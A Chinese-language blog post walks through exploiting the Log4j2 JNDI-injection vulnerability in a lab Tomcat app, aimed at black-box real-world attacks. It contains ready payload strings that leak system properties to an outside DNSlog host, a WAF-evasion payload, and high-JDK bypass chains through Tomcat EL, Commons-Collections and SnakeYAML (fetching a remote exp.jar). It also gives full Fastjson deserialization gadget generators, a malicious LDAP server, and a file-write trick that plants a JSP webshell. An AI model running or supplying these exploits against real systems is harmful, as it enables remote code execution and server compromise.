前言
Log4j2漏洞出现很久了,该漏洞需要结合JNDI注入利用。在黑盒情况下往往存在各种利用失败的情况,带着实战中遇到过的问题在不会分析源码的情况下来仔细复现一下。
JNDI
| 协议 | 作用 |
|---|---|
| LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名服务 |
| CORBA | 公共对象请求代理体系结构 |
首先 JNDI 注入就是控制 lookup 函数的参数,使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用。
而利用JNDI注入漏洞就需要考虑JDK版本的限制。
| 协议 | JDK6 | JDK7 | JDK8 | JDK11 |
|---|---|---|---|---|
| RMI | 6u141 以下 | 7u131 以下 | 8u121 以下 | 无 |
| LDAP | 6u211 以下 | 7u201 以下 | 8u191 以下 | 11.0.1 以下 |
因此主流JNDI利用工具用的是LDAP服务,利用方式也很多。
以 JYso 为例,就是
${jndi:ldap://127.0.0.1:1389/Basic/command/base64/[base64cmd]}
那么当JDK高于以上版本时,还有什么样的利用方式呢?
环境搭建
这里为方便比较不同环境和架构对log4j2的漏洞影响,使用idea引入存在漏洞的log4j2版本,创建一个javaweb项目。
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
创建一个servlet
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/**
* @author cseroad
*/
public class BaseServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req,resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Logger logger = LogManager.getLogger(BaseServlet.class.getName());
String username = req.getParameter("username");
PrintWriter writer = resp.getWriter();
writer.println("username is :" + username);
logger.error(username);
writer.flush();
writer.close();
}
}
配置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>baseServlet</servlet-name>
<servlet-class>com.myvlus.BaseServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>baseServlet</servlet-name>
<url-pattern>/baseServlet</url-pattern>
</servlet-mapping>
</web-app>
再来个前端页面log.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<form action="baseServlet" method="post">
用户名:<input name="username" value=""><br/>
密码:<input name="password" value=""><br/>
<input type="submit" value="提交">
</form>
</body>
</html>
在tomcat 7.0.107 上成功启动后dns验证一下log4j2漏洞。


基础poc
要利用log4j2漏洞,重要的是要获取jdk版本和系统架构。
${jndi:ldap://${sys:java.version}.decftp.ceye.io}
${jndi:ldap://${sys:sun.desktop}.decftp.ceye.io}
${jndi:ldap://${sys:os.name}.decftp.ceye.io}
${jndi:ldap://10.211.55.2:1389/${sys:java.version}}
WAF绕过
${:-y$}{${6pr:-j${NULL:-}}nd${6pr:-}i:l${xyf::-d${NULL:-}}ap://127.0.0.1:1389/}
高版本绕过
目前高版本绕过最常见的是一下两种方式:
- 一种利用本地 Class 作为 Reference Factory
- 一种利用反序列化触发本地 Gadget
我个人理解就是一种利用本地存在类,一种找出可以反序列化的类。那么黑盒情况下如何尝试这两种方法呢?
el表达式
最常见的是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法,从而执行el表达式。
利用条件是:
- 大约Tomcat 8.0 至 Tomcat 9.0.63 之间
- 大约SpringBoot 1.20 至 SpringBoot 2.6.7 之间
(具体版本未仔细查找)
如在JDK1.8.0_211下,将上面环境分别切换在tomcat 7.0.107 和 tomcat 8.5.37 下
tomcat 7.0.107 利用失败
${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho}

tomcat 8.5.37 利用成功
${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho}

还可以通过dns探测利用链,来找出可以反序列化的类。
举个例子,我在pom.xml中只需要引入存在漏洞的commons-collections、snakeyaml 版本
添加依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.26</version>
</dependency>
这时候可以利用dnslog去判断哪些利用链可以进行利用。推荐https://github.com/kezibei/Urldns
java -jar Urldns.jar ldap all decftp.ceye.io

commons-collections
以commons-collections依赖为例
探测commons-collections是否存在漏洞
${jndi:ldap://10.211.55.2:1389/fuzz/CommonsCollections6/decftp.ceye.io}


证明可以利用CommonsCollections6或者CommonsCollectionsK1执行命令。
进行利用
${jndi:ldap://10.211.55.2:1389/CommonsCollections6/base64/b3BlbiAtYSBDYWxjdWxhdG9y}

snakeyaml
以snakeyaml依赖为例
使用 https://github.com/artsploit/yaml-payload 项目,可任意修改AwesomeScriptEngineFactory.java里的功能。而后编译为jar包。
只需要启动一个http服务,将 http://10.211.55.2:8081/exp.jar 进行base64编码
${jndi:ldap://10.211.55.2:1389/tomcatsnakeyaml/url/base64/aHR0cDovLzEwLjIxMS41NS4yOjgwODEvZXhwLmphcg==}

fastjson
当目标环境存在fastjson 并且FastJson<=1.2.48,存在一条原生反序列化链,可以直接rce。
实验环境引入fastjson 1.2.25 版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
fastjson利用代码
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.example.utils.ByteToBase64;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class FastJson1 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String gen() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(val);
objectOutputStream.close();
String s = ByteToBase64.ToBase64(byteArrayOutputStream.toByteArray());
return s;
}
}

当目标环境存在fastjson 并且FastJson>=1.2.49时,存在一条原生反序列化链,可以直接rce。
实验环境引入fastjson 1.2.6 版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.6</version>
</dependency>
重新更新重启应用。
fastjson利用代码
package org.example;
/**
* @author cseroad
*/
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.bytecode.ClassFile;
import javax.management.BadAttributeValueExpException;
import org.example.utils.ByteToBase64;
import org.example.utils.Utils;
public class FastJson2
{
public static void setValue(Object obj, String name, Object value)
throws Exception
{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd)
throws Exception
{
ClassPool pool = ClassPool.getDefault();
String randomStr = Utils.createRandomStr(5);
CtClass clazz = pool.makeClass(randomStr);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);
//constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
constructor.setBody("{\n" +
" java.util.Formatter formatter = new java.util.Formatter(new java.io.File(\"fast.txt\"));\n" +
" formatter.format(\"%s\", new Object[]{\"fffff\"});\n" +
" formatter.close();\n" +
"}");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static String gen()
throws Exception
{
TemplatesImpl templates = (TemplatesImpl)TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][] { genPayload("calc") });
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String s = ByteToBase64.ToBase64(byteArrayOutputStream.toByteArray());
return s;
}
}
调用FastJson1.gen方法,生成base64字符串,填入反序列化内容。
ldap 服务端为:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://10.211.55.2:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("10.211.55.2"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 10.211.55.2:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
try {
e.addAttribute("javaSerializedData", Base64.decode("反序列化内容"));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

成功创建出fast.txt文件。
也可以利用工具直接注入内存马


tomcat rce
tomcat 默认存在org.apache.catalina.users.MemoryUserDatabaseFactory类,可以借助该类实现文件的写入。
利用条件:
- windows环境,知道应用的绝对路径
需要创建出和目标结构一致的目录。

json.jsp 文件内容包括恶意代码。
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
需要对rolename内容进行html编码,建议对整个payload进行html编码。
将 http://10.211.55.2:8000/../../webapps/ROOT/json.jsp 地址进行base64编码
${jndi:ldap://10.211.55.2:1389/tomcatrce/url/http://example.com/base64/aHR0cDovLzEwLjIxMS41NS4yOjgwMDAvLi4vLi4vd2ViYXBwcy9ST09UL2pzb24uanNw}
jndi注入以后就会在目标ROOT目录下创建出json.jsp

访问该页面即可。


参考资料
https://xz.aliyun.com/t/10829?time__1311=CqjxRDcGD%3DDt0QD%2FD0ex2QQT45OQDgjWOoD#toc-8
https://forum.butian.net/share/1184
https://j0k3r.top/2020/08/11/java-jndi-inject/#%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B
https://lemono.fun/JNDI_Bypass_HighJDK/#%E5%88%A9%E7%94%A8LDAP%E7%9A%84javaSerializedData%E6%89%93%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96GadGet